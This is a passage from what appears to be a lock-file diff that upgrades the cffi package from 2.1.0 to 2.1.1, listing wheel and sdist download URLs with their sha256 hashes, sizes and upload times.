"sha256:33eb1ad83ebe8f313e0df035c406227d55a79456704a863fad9842136af5ad7d", size = 210755, upload-time = "2026-07-06T21:33:42.183Z" }, - { url = "https://files.pythonhosted.org/packages/cc/82/3d5c705acb7abbba9bbd7d79b8e62e0f25b6120eb7ae6ac49f1b721722fe/cffi-2.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ac0f1a2d0cfa7eea3f2aaf006ab6e70e8feeb16b75d65b7e5939982ca2f11056", size = 223933, upload-time = "2026-07-06T21:33:43.603Z" }, - { url = "https://files.pythonhosted.org/packages/6c/d0/47e338384ab6b1004241002fa616301020cea4fc95f283506565d252f276/cffi-2.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c16914df9fb7f500e440e6875fa23ff5e0b31db01fa9c06af98d59a91f0dc2e4", size = 226749, upload-time = "2026-07-06T21:33:45.046Z" }, - { url = "https://files.pythonhosted.org/packages/70/25/65bd5b58ea4bfdfc15cde02cb5365f89ef8ab8b2adfb8fe5c4bd4233382f/cffi-2.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5ecbd0499275d57506d397eebe1981cee87b47fcd9ef5c22cab7ed7644a39a94", size = 225703, upload-time = "2026-07-06T21:33:46.374Z" }, - { url = "https://files.pythonhosted.org/packages/dc/78/aa01ac599a8a4322533d45a1f9bc93b338276d2d59dabbe7c6d92a775c81/cffi-2.1.0-cp314-cp314t-win32.whl", hash = "sha256:7d034dcffa09e9a46c93fa3a3be402096cb5354ac6e41ab8e5cc9cd8b642ad76", size = 182857, upload-time = "2026-07-06T21:33:47.696Z" }, - { url = "https://files.pythonhosted.org/packages/b9/26/d00496b22de4d4228f32dde94ad996f350c8aad676d63bcca0743c8dea4d/cffi-2.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0582a58f3051372229ca8e7f5f589f9e5632678208d8636fea3676711fdf7fe5", size = 194065, upload-time = "2026-07-06T21:33:48.953Z" }, - { url = "https://files.pythonhosted.org/packages/d5/dd/0c7dbf815a579ff005008a2d815a55d6bb047c349eef536d9dc53d3f0a8d/cffi-2.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:510aeeeac94811b138077451da1fb18b308a5feab47dd2b603af55804155e1c8", size = 186404, upload-time = "2026-07-06T21:33:50.309Z" }, - { url = "https://files.pythonhosted.org/packages/55/c7/8c8c50cb11c6750051daf12164098a9a6f027ac4356967fd4d800a07f242/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:2e9dabb9abcb7ad15938c7196ad5c1718a4e6d33cc79b4c0209bdb64c4a54a5c", size = 194121, upload-time = "2026-07-06T21:33:56.109Z" }, - { url = "https://files.pythonhosted.org/packages/99/e2/67680bf19a6b60d2bb7ff83baefa2a4c3d2d7dc0f3277034b802e1fc504c/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:37f525a7e7e50c017fdebe58b787be310ad59357ae43a053943a6e1a6c526001", size = 196820, upload-time = "2026-07-06T21:33:57.288Z" }, - { url = "https://files.pythonhosted.org/packages/ed/da/4bbe583a3b3a5c8c60892124fe17f3fa3656523faf0d3484eae90f091853/cffi-2.1.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:95f2954c2c9473d892eca6e0409f3568b37ab62a8eedb122461f73cc273476e3", size = 184936, upload-time = "2026-07-06T21:33:58.765Z" }, - { url = "https://files.pythonhosted.org/packages/e5/4b/1f4c36ab273980d7aa75bb126ea4f8971f24a96108acad3a0a084028c57b/cffi-2.1.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:cdf2448aab5f661c9315308ec8b93f4e8a1a67a3c733f8631067a2b67d5913dc", size = 185045, upload-time = "2026-07-06T21:34:00.085Z" }, - { url = "https://files.pythonhosted.org/packages/ef/c3/ad299dc38f3583f8d916b299f028af418a9ec98bc695fcbebeae7420691c/cffi-2.1.0-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:90bec57cf82089383bd06a605b3eb8daebf7e5a668520beaf6e327a83a947699", size = 222342, upload-time = "2026-07-06T21:34:01.814Z" }, - { url = "https://files.pythonhosted.org/packages/eb/d8/df4543cc087245044ed02ef3ad8e0a26619d0075ac7a77a12dc81177851b/cffi-2.1.0-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6274dcb2d15cef48daa73ed1be5a40d501d74dccd0cd6db364776d12cb6ba022", size = 210073, upload-time = "2026-07-06T21:34:03.255Z" }, - { url = "https://files.pythonhosted.org/packages/2c/0e/fac738d73728c6cea2a88a2883dca54892496cbba88a1dc1f2909cb8a6f5/cffi-2.1.0-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b71d409cccee78310ab5dec549aed052aaea483346e282c7b02362596e01bb0", size = 208551, upload-time = "2026-07-06T21:34:04.433Z" }, - { url = "https://files.pythonhosted.org/packages/e6/3f/0b04a700dd64f465c93020253a793a82c9b4dff9961f48facd0df945d9b8/cffi-2.1.0-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7d3538f9c0e50670f4deb93dbb696576e60590369cae2faf7de681e597a8a1f1", size = 221649, upload-time = "2026-07-06T21:34:06.157Z" }, - { url = "https://files.pythonhosted.org/packages/5d/7c/b7379a5704c79eda57ce075869ba70a0368d1c850f803b3c0d078d39dcaf/cffi-2.1.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:8f9ec95b8a043d3dfbc74d9abc6f7baf524dd27a8dc160b0a32ff9cdab650c28", size = 225203, upload-time = "2026-07-06T21:34:07.489Z" }, - { url = "https://files.pythonhosted.org/packages/5a/02/d5e6c43ea85c41bda2a184a3418f195fe7cf602967a8d2b94e085b83deef/cffi-2.1.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:af5e2915d41fe6c961694d7bfdc8562942638200f3ce2765dfb8b745cf997629", size = 223263, upload-time = "2026-07-06T21:34:08.712Z" }, - { url = "https://files.pythonhosted.org/packages/2c/d8/772b8259bf75749adffb1c546828978381fb516f60cf701f6c83daf60c85/cffi-2.1.0-cp315-cp315-win32.whl", hash = "sha256:0a42c688d19fca6e095a53c6a6e2295a5b050a8b289f109adab02a9e61a25de6", size = 177696, upload-time = "2026-07-06T21:34:26.355Z" }, - { url = "https://files.pythonhosted.org/packages/2f/dd/afa2191fc6d57fedd26e5844a2fe2fcc0bbfa00961bbaa5a41e4921e7cca/cffi-2.1.0-cp315-cp315-win_amd64.whl", hash = "sha256:bccbbb5ee76a61f9d99b5bf3846a51d7fca4b6a732fe46f89295610edaf41853", size = 187914, upload-time = "2026-07-06T21:34:27.58Z" }, - { url = "https://files.pythonhosted.org/packages/05/ef/6cd4f8c671517162379dc79cfae5aea9106bc38abb89628d5c16adf6a838/cffi-2.1.0-cp315-cp315-win_arm64.whl", hash = "sha256:8d35c139744adb3e727cd51b1a18324bbe44b8bd41bf8322bca4d41289f48eda", size = 183004, upload-time = "2026-07-06T21:34:28.905Z" }, - { url = "https://files.pythonhosted.org/packages/11/b6/12fc55092817a5faa26fb8c40c7f9d662e11a46ee248c137aafc42517d92/cffi-2.1.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f9912624a0c0b834b7520d7769b3644453aabc0a7e1c839da7359f050750e9bc", size = 188378, upload-time = "2026-07-06T21:34:09.926Z" }, - { url = "https://files.pythonhosted.org/packages/8d/2e/cdac88979f295fde5daa69622c7d2111e56e7ceb94f211357fbe452339e4/cffi-2.1.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:df92f2aba50eb4d96718b68ef76f2e57a57b54f2fa62333496d16c6d585a85ca", size = 188319, upload-time = "2026-07-06T21:34:11.101Z" }, - { url = "https://files.pythonhosted.org/packages/e0/27/1d0b408497e41a74795af122d7b603c418c5fed0171450f899afd04e594f/cffi-2.1.0-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0520e1f4c35f44e209cbbb421b67eec42e6a157f59444dfb6058874ff3610e5d", size = 223904, upload-time = "2026-07-06T21:34:12.606Z" }, - { url = "https://files.pythonhosted.org/packages/8b/31/e115c985105dd7ffb32444505f18ceb874bb42d992af05d5dced7ecf1980/cffi-2.1.0-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3681e031db29958a7502f5c0c9d6bbc4c36cb20f7b104086fa642d1799631ff8", size = 211554, upload-time = "2026-07-06T21:34:13.987Z" }, - { url = "https://files.pythonhosted.org/packages/5a/67/9e6e09409336d9e515c58367e7cfcf4f89df06ad25252675595a58eb59d5/cffi-2.1.0-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:762f99479dcb369f60ab9017ad4ab97a36a1dd7c1ee5a3b15db0f4b8659120cd", size = 210795, upload-time = "2026-07-06T21:34:15.972Z" }, - { url = "https://files.pythonhosted.org/packages/19/e5/d3cc82a4a0be7902af279c04181ad038449c096734464a5ae1de3e1401bd/cffi-2.1.0-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0611e7ebf90573a535ebdc33ae9da222d037853983e13359f580fab781ca017f", size = 223843, upload-time = "2026-07-06T21:34:17.509Z" }, - { url = "https://files.pythonhosted.org/packages/b9/65/b434abc97ce7cecc2c640fde160507c0ecc7e21544b483ba3325d2e2ea17/cffi-2.1.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:86cf8755a791f72c85dc287128cc62d4f24d392e3f1e15837245623f4a33cccc", size = 226773, upload-time = "2026-07-06T21:34:19.05Z" }, - { url = "https://files.pythonhosted.org/packages/b5/9f/d4dc66ca651eb1145a133314cda721abf13cfac3d28c4a0402263ae6ad75/cffi-2.1.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:ba00f661f8ba35d075c937174e27c2c421cec3942fd2e0ea3e66996757c0fdd9", size = 225719, upload-time = "2026-07-06T21:34:20.576Z" }, - { url = "https://files.pythonhosted.org/packages/68/5a/e536c528bc8057496c360c0978559a2dc45653f89dd6151078aa7d8fca1a/cffi-2.1.0-cp315-cp315t-win32.whl", hash = "sha256:cb96698e3c7413d906ce83f8ffd245ec1bd94707541f299d0ce4d6b0193e982b", size = 182760, upload-time = "2026-07-06T21:34:22.059Z" }, - { url = "https://files.pythonhosted.org/packages/d3/0b/0ffe8b82d3875bced5fa1e7986a7a46b748262a40ab7f60b475eb9fb1bb3/cffi-2.1.0-cp315-cp315t-win_amd64.whl", hash = "sha256:f146d154428a2523f9cc7936c02353c2459b8f6cf07d3cd1ee1c0a611109c5d5", size = 193769, upload-time = "2026-07-06T21:34:23.589Z" }, - { url = "https://files.pythonhosted.org/packages/a0/17/1073b53b68c9b5ca6914adf5f8bf55aacc2d3be102418c90700160ea8605/cffi-2.1.0-cp315-cp315t-win_arm64.whl", hash = "sha256:cbb7640ce37159548d2147b5b8c241f962143d4c71231431820783f4dc78f210", size = 186405, upload-time = "2026-07-06T21:34:24.857Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" }, + { url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" }, + { url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" }, + { url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" }, + { url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" }, + { url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" }, + { url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" }, + { url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" }, + { url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" }, + { url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" }, + { url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" }, + { url = "https://files.pythonhosted.org/packages/ad/66/c19feabb28485b6e0bbaaafa90837a1ef5d302e90f2178bd33f17a49879b/cffi-2.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813", size = 218716, upload-time = "2026-08-03T21:19:32.896Z" }, + { url = "https://files.pythonhosted.org/packages/a7/92/500760486c8baab49a7a8a58ba7fc3355ec3974b454b8a09e528efde9e1d/cffi-2.1.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990", size = 205569, upload-time = "2026-08-03T21:19:34.142Z" }, + { url = "https://files.pythonhosted.org/packages/a5/a7/a67c733254d6e7373f7822f8082d8d6beade791e0cf12a7611f376fa61c7/cffi-2.1.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af", size = 204907, upload-time = "2026-08-03T21:19:35.174Z" }, + { url = "https://files.pythonhosted.org/packages/f7/a4/4399daaf8f7dfee9d7c3327fdb0426ee041cc63edc358b93911ceb2bfc7a/cffi-2.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632", size = 217807, upload-time = "2026-08-03T21:19:36.286Z" }, + { url = "https://files.pythonhosted.org/packages/28/f7/dabe6da2466ecbd82dc62e7342dc6b1065dad990c06f00f0ede9ebf2a0ed/cffi-2.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd", size = 221252, upload-time = "2026-08-03T21:19:37.416Z" }, + { url = "https://files.pythonhosted.org/packages/ce/87/616202d8e51342c07d2534c510111c4cc37201775ce8f60802c9335d1edd/cffi-2.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a", size = 214214, upload-time = "2026-08-03T21:19:38.507Z" }, + { url = "https://files.pythonhosted.org/packages/b4/c6/ab025d75d2c26c19b087c0124e75ee31cb65032f4fe345d356d8c507ab97/cffi-2.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa", size = 219408, upload-time = "2026-08-03T21:19:39.809Z" }, + { url = "https://files.pythonhosted.org/packages/db/e2/7e8109f65445bdc673a7b54f02c677de462db75674220fd1335efc8eb598/cffi-2.1.1-cp311-cp311-win32.whl", hash = "sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3", size = 174470, upload-time = "2026-08-03T21:19:41.246Z" }, + { url = "https://files.pythonhosted.org/packages/73/c0/77ba02423c2f7d7091143c45cd49e0e6575c4c1967394bb542bd923a9b74/cffi-2.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0", size = 185096, upload-time = "2026-08-03T21:19:42.615Z" }, + { url = "https://files.pythonhosted.org/packages/7c/47/9f1f85f9672ceda4984dc6c4f8824e8558992a2972c3d3c81fb8eb28d4ba/cffi-2.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455", size = 179941, upload-time = "2026-08-03T21:19:43.747Z" }, + { url = "https://files.pythonhosted.org/packages/10/69/43965eccfdead3b9220015fd1320e117be8c6ed01a62ffab76eeb752f5d5/cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0", size = 184821, upload-time = "2026-08-03T21:19:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/54/7d/16e5a096677b5e313ca80cd5e5170efa3ea44624a82bb111925522da64b1/cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf", size = 184719, upload-time = "2026-08-03T21:19:46.129Z" }, + { url = "https://files.pythonhosted.org/packages/56/e6/8941622732edec876dd17d0453dce07317ae96db34f2ec1436c9d3785986/cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a", size = 214799, upload-time = "2026-08-03T21:19:47.218Z" }, + { url = "https://files.pythonhosted.org/packages/44/de/f98430906df1545ffde0d543dd124a7a439bc2cd32b36b9c53f805df7333/cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890", size = 222389, upload-time = "2026-08-03T21:19:48.331Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/717f1526b9957b34456313c31645c5b82b8fb5c3fe9e4752999be7128bfc/cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50", size = 210249, upload-time = "2026-08-03T21:19:49.543Z" }, + { url = "https://files.pythonhosted.org/packages/64/b3/f8aa4f3e34986c7e4ec45072d1b1b9dd295b6b18007b45518d79726dd725/cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e", size = 208775, upload-time = "2026-08-03T21:19:50.918Z" }, + { url = "https://files.pythonhosted.org/packages/b1/db/dceb9dd5b231e1da801793f8acc9f3c52a7e1afe40bb1aae37e02b0faad5/cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf", size = 221822, upload-time = "2026-08-03T21:19:52.054Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d2/6cd24ae3be000a634109c247d1475d62e5616d0dc78c82770942ec384248/cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517", size = 225232, upload-time = "2026-08-03T21:19:53.109Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/3fa190537004dd7f0ab860a6dc7c0175b8667f68d1e618a46f5498d30250/cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735", size = 223597, upload-time = "2026-08-03T21:19:54.515Z" }, + { url = "https://files.pythonhosted.org/packages/80/fb/0bb75b7039588c074b37ae99f40d9bfddf990ecb2fbc346ebccd2e56b9be/cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e", size = 175292, upload-time = "2026-08-03T21:19:55.566Z" }, + { url = "https://files.pythonhosted.org/packages/d9/79/615cc094e2fb508cade7de88d3b4f6c4ec2bab695c97bce9153dc65aadf5/cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a", size = 185919, upload-time = "2026-08-03T21:19:56.89Z" }, + { url = "https://files.pythonhosted.org/packages/70/c6/d0ea84713fe46b243a436a18fcd47d639732747e21635c8a27191b06dc30/cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80", size = 180093, upload-time = "2026-08-03T21:19:58.155Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/035513d4117049066b4779dc3b7c0c0fdad175fa13731c9f4003f1cd1478/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e", size = 194248, upload-time = "2026-08-03T21:19:59.399Z" }, + { url = "https://files.pythonhosted.org/packages/76/af/2aeb4dbb5fc41a04161ae9ff1518de7cec08e164f44a8ce6a4cf7fd2cd1d/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c", size = 196908, upload-time = "2026-08-03T21:20:00.746Z" }, + { url = "https://files.pythonhosted.org/packages/a7/46/2e5fdde8555706dd98139a910ca11be02809f3f605ce956f655d0214e100/cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6", size = 184805, upload-time = "2026-08-03T21:20:02.02Z" }, + { url = "https://files.pythonhosted.org/packages/55/41/4c7042f317b9217502988f0873af87e16ad606dc20f84e546e3e6ce9764c/cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971", size = 184764, upload-time = "2026-08-03T21:20:03.141Z" }, + { url = "https://files.pythonhosted.org/packages/43/1f/1c3d90d91811c8f86ced9ed637956c54bfe5b79ca98fe976d7f8c8979f6b/cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c", size = 214722, upload-time = "2026-08-03T21:20:04.377Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/3b5ce4c3b2192d250f04908f2bfd91ef34552ec8f7716a5d4abdb8d67bb2/cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125", size = 222369, upload-time = "2026-08-03T21:20:05.544Z" }, + { url = "https://files.pythonhosted.org/packages/02/10/4b3c75dde3d9663c9e02ba05c2668b954f671d4bbe346413ca8c696b295a/cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264", size = 210175, upload-time = "2026-08-03T21:20:06.75Z" }, + { url = "https://files.pythonhosted.org/packages/df/62/14f74b9543e605d17701dc797b815958b8bb70b7624ce1b832ddad48ed6c/cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3", size = 208670, upload-time = "2026-08-03T21:20:08.04Z" }, + { url = "https://files.pythonhosted.org/packages/95/95/86342356ff5953b3fb06f7ef7c5bee212d45e770abc7218d451b9148313c/cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2", size = 221824, upload-time = "2026-08-03T21:20:09.274Z" }, + { url = "https://files.pythonhosted.org/packages/eb/ff/7b3429ff53aafe931ed8a5fc69f481bbef7ba6de87ddcbb63d08f483f613/cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b", size = 225148, upload-time = "2026-08-03T21:20:10.7Z" }, + { url = "https://files.pythonhosted.org/packages/34/34/a95870b9221e09cf4f2ce3178b1a210abdfe63a1bd357da940418d7b8d15/cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7", size = 223564, upload-time = "2026-08-03T21:20:12.165Z" }, + { url = "https://files.pythonhosted.org/packages/70/ea/839b50531021a647fb5e929f72cf97bc1ff702b5472166164b5b6e76b851/cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac", size = 175263, upload-time = "2026-08-03T21:20:13.559Z" }, + { url = 